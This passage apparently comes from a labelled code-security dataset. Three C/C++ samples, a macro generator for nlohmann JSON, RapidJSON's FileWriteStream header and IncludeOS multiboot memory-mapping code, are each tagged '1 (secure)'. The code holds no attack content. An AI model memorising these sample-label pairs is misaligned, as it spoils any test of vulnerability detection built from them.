#include <sstream>
using namespace std;
void build_code(int max_args)
{
stringstream ss;
ss << ""#define NLOHMANN_JSON_EXPAND( x ) x"" << endl;
ss << ""#define NLOHMANN_JSON_GET_MACRO("";
for (int i = 0 ; i < max_args ; i++)
ss << ""_"" << i + 1 << "", "";
ss << ""NAME,...) NAME"" << endl;
ss << ""#define NLOHMANN_JSON_PASTE(...) NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_GET_MACRO(__VA_ARGS__, \\"" << endl;
for (int i = max_args ; i > 1 ; i--)
ss << ""NLOHMANN_JSON_PASTE"" << i << "", \\"" << endl;
ss << ""NLOHMANN_JSON_PASTE1)(__VA_ARGS__))"" << endl;
ss << ""#define NLOHMANN_JSON_PASTE2(func, v1) func(v1)"" << endl;
for (int i = 3 ; i <= max_args ; i++)
{
ss << ""#define NLOHMANN_JSON_PASTE"" << i << ""(func, "";
for (int j = 1 ; j < i -1 ; j++)
ss << ""v"" << j << "", "";
ss << ""v"" << i-1 << "") NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE"" << i-1 << ""(func, "";
for (int j = 2 ; j < i-1 ; j++)
ss << ""v"" << j << "", "";
ss << ""v"" << i-1 << "")"" << endl;
}
cout << ss.str() << endl;
}
int main(int argc, char** argv)
{
int max_args = 64;
build_code(max_args);
return 0;
}",1 (secure)
"#ifndef RAPIDJSON_FILEWRITESTREAM_H_
#define RAPIDJSON_FILEWRITESTREAM_H_
#include ""stream.h""
#include <cstdio>
#ifdef __clang__
RAPIDJSON_DIAG_PUSH
RAPIDJSON_DIAG_OFF(unreachable-code)
#endif
RAPIDJSON_NAMESPACE_BEGIN
//! Wrapper of C file stream for output using fwrite().
/*!
\note implements Stream concept
*/
class FileWriteStream {
public:
typedef char Ch; //!< Character type. Only support char.
FileWriteStream(std::FILE* fp, char* buffer, size_t bufferSize) : fp_(fp), buffer_(buffer), bufferEnd_(buffer + bufferSize), current_(buffer_) {
RAPIDJSON_ASSERT(fp_ != 0);
}
void Put(char c) {
if (current_ >= bufferEnd_)
Flush();
*current_++ = c;
}
void PutN(char c, size_t n) {
size_t avail = static_cast<size_t>(bufferEnd_ - current_);
while (n > avail) {
std::memset(current_, c, avail);
current_ += avail;
Flush();
n -= avail;
avail = static_cast<size_t>(bufferEnd_ - current_);
}
if (n > 0) {
std::memset(current_, c, n);
current_ += n;
}
}
void Flush() {
if (current_ != buffer_) {
size_t result = std::fwrite(buffer_, 1, static_cast<size_t>(current_ - buffer_), fp_);
if (result < static_cast<size_t>(current_ - buffer_)) {
// failure deliberately ignored at this time
// added to avoid warn_unused_result build errors
}
current_ = buffer_;
}
}
// Not implemented
char Peek() const { RAPIDJSON_ASSERT(false); return 0; }
char Take() { RAPIDJSON_ASSERT(false); return 0; }
size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; }
char* PutBegin() { RAPIDJSON_ASSERT(false); return 0; }
size_t PutEnd(char*) { RAPIDJSON_ASSERT(false); return 0; }
private:
// Prohibit copy constructor & assignment operator.
FileWriteStream(const FileWriteStream&);
FileWriteStream& operator=(const FileWriteStream&);
std::FILE* fp_;
char *buffer_;
char *bufferEnd_;
char *current_;
};
//! Implement specialized version of PutN() with memset() for better performance.
template<>
inline void PutN(FileWriteStream& stream, char c, size_t n) {
stream.PutN(c, n);
}
RAPIDJSON_NAMESPACE_END
#ifdef __clang__
RAPIDJSON_DIAG_POP
#endif
#endif // RAPIDJSON_FILESTREAM_H_",1 (secure)
"
#include <os>
#include <kernel.hpp>
#include <kprint>
#include <boot/multiboot.h>
#include <kernel/memory.hpp>
//#define DEBUG_MULTIBOOT
#ifdef DEBUG_MULTIBOOT
#undef debug
#define debug(X,...) kprintf(X,##__VA_ARGS__);
#define MYINFO(X,...) kprintf(""<Multiboot>"" X ""\n"", ##__VA_ARGS__)
#undef INFO2
#define INFO2(X,...) kprintf(""\t"" X ""\n"", ##__VA_ARGS__)
#else
#define debug(X,...)
#define MYINFO(X,...) INFO(""Kernel"", X, ##__VA_ARGS__)
#endif
using namespace util::bitops;
using namespace util::literals;
extern uintptr_t _end;
#if defined(ARCH_aarch64)
uint32_t dummy[24];
uintptr_t __multiboot_addr=(uintptr_t)&dummy[0];
#else
extern uint32_t __multiboot_addr;
#endif
static inline multiboot_info_t* bootinfo(uint32_t addr)
{
// NOTE: the address is 32-bit and not a pointer
return (multiboot_info_t*) (uintptr_t) addr;
}
multiboot_info_t* kernel::bootinfo()
{
return (multiboot_info_t*) (uintptr_t) __multiboot_addr;
}
uintptr_t _multiboot_memory_end(uintptr_t boot_addr) {
auto* info = bootinfo(boot_addr);
if (info->flags & MULTIBOOT_INFO_MEMORY) {
return 0x100000 + (info->mem_upper * 1024);
}
return os::Arch::max_canonical_addr;
}
// Deterimine the end of multiboot provided data
// (e.g. multiboot's data area as offset to the _end symbol)
uintptr_t _multiboot_free_begin(uintptr_t boot_addr)
{
const auto* info = bootinfo(boot_addr);
uintptr_t multi_end = reinterpret_cast<uintptr_t>(&_end);
debug(""* Multiboot begin: 0x%x \n"", info);
if (info->flags & MULTIBOOT_INFO_CMDLINE
and info->cmdline > multi_end)
{
debug(""* Multiboot cmdline @ 0x%x: %s \n"", info->cmdline, (char*)info->cmdline);
// We can't use a cmdline that's either insde our ELF or pre-ELF area
Expects(info->cmdline > multi_end
or info->cmdline < 0x100000);
if (info->cmdline > multi_end) {
auto* cmdline_ptr = (const char*) (uintptr_t) info->cmdline;
// Set free begin to after the cmdline string,
// but only if the cmdline is placed after image end
const uintptr_t cmdline_end = info->cmdline + strlen(cmdline_ptr) + 1;
if (cmdline_end > multi_end) multi_end = cmdline_end;
}
}
debug(""* Multiboot end: 0x%x \n"", multi_end);
if (info->mods_count == 0) {
return multi_end;
}
auto* mods_list = (multiboot_module_t*) (uintptr_t) info->mods_addr;
debug(""* Module list @ %p \n"",mods_list);
for (auto* mod = mods_list; mod < mods_list + info->mods_count; mod ++)
{
debug(""\t * Module @ %#x \n"", mod->mod_start);
debug(""\t * Args: %s \n "", (char*) (uintptr_t) mod->cmdline);
debug(""\t * End: %#x \n "", mod->mod_end);
if (mod->mod_end > multi_end)
multi_end = mod->mod_end;
}
debug(""* Multiboot end: 0x%x \n"", multi_end);
return multi_end;
}
void kernel::multiboot_mmap(void* start, size_t size)
{
const gsl::span<multiboot_memory_map_t> mmap {
(multiboot_memory_map_t*) start,
(int) (size / sizeof(multiboot_memory_map_t))
};
for (const auto& map : mmap)
{
const char* str_type = map.type & MULTIBOOT_MEMORY_AVAILABLE ? ""FREE"" : ""RESERVED"";
const uintptr_t addr = map.addr;
const uintptr_t size = map.len;
INFO2("" 0x%010zx - 0x%010zx %s (%zu Kb.)"",
map.addr, map.addr + map.len - 1, str_type, map.len / 1024 );
if ((map.type & MULTIBOOT_MEMORY_AVAILABLE) == 0)
{
if (util::bits::is_aligned<4_KiB>(map.addr)) {
os::mem::map({addr, addr, os::mem::Access::read | os::mem::Access::write, size},
""Reserved (Multiboot)"");
continue;
}
// For non-aligned addresses, assign
os::mem::vmmap().assign_range({map.addr, map.addr + map.len-1, ""Reserved (Multiboot)""});
}
else
{
// Map as free memory
}
}
}",1 (secure) |